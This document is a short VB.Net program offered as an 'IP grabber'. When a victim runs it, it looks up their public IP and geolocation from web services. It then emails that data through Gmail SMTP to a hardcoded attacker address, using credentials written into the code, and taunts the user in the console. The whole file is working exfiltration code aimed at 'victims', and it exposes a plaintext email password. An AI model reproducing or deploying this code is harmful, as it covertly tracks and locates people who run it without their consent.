shinaito - VB.Net IP grabber.

Imports System.Net.Http
Imports System.Net.Mail

Module Module1

    Private Function GetIP() As String
        Dim result As String
        Try
            result = New HttpClient().GetStringAsync("https://wtfismyip.com/text").Result
        Catch ex As Net.WebException
            result = "Unable to get IP"
        End Try
        Return result
    End Function

    Private Function Location() As String
        Dim result As String
        Try

            result = New HttpClient().GetStringAsync("https://ipinfo.io/json").Result
        Catch ex As Net.WebException
            result = "Unable to get Location"
        End Try
        Return result
    End Function

    Sub Main()
        Dim IP, Info, CheckIP
        Dim Email, Password As String
        Dim SendMail As New MailMessage()

        IP = GetIP()
        Info = Location()

        Email = ("VictimsDetails8974584787@gmail.com")
        Password = ("SteveJOBSisdad123")
        Try

            Dim SmtpServer As New SmtpClient()
            Dim mail As New MailMessage()

            SmtpServer.Credentials = New _
        Net.NetworkCredential(Email, Password)
            SmtpServer.Port = 587
            SmtpServer.EnableSsl = True
            SmtpServer.Host = "smtp.gmail.com"

            mail = New MailMessage()
            mail.From = New MailAddress(Email)
            mail.To.Add(Email)

            mail.Subject = "IP"
            mail.Body = ("Victim's IP is: " & IP)
            mail.Body = ("Victim's info is: " & Info)
            SmtpServer.Send(mail)
            Console.WriteLine("Your IP and info has been sent lol")

        Catch ex As Exception
            Console.WriteLine("uh")

        End Try

        Console.WriteLine(CheckIP)

        Console.WriteLine("Hah goteem your IP is:")
        Console.WriteLine(IP)

        Console.WriteLine("Your location and IP info has also been sent:")
        Console.WriteLine(Info)

        Console.ReadKey()
    End Sub

End Module